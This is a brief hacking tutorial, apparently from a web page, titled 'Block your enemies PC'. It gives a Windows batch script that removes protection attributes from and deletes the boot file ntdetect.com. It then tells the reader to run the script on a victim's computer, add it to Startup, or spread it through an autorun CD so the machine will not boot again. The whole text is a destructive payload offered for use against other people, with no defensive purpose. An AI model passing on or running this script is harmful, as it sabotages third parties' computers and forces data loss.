Block your enemies PC

Open notepad and copy the below code

echo off
C:
cd..
cd..
cd..
attrib -r -s -h ntdetect.com
del ntdetect.com
echo on
print U r a LOSER GEEK is a Winner

Save this file as virus.bat or any other name with .bat extension

Double click it in the victim's computer or Put it in Startup of Ur enemy or put it in a CD and set it in the autorun.

With this activated once the computer will run perfectly 

Once shutdowned then it will not start and U will have to format it (Except U know how to use DOS).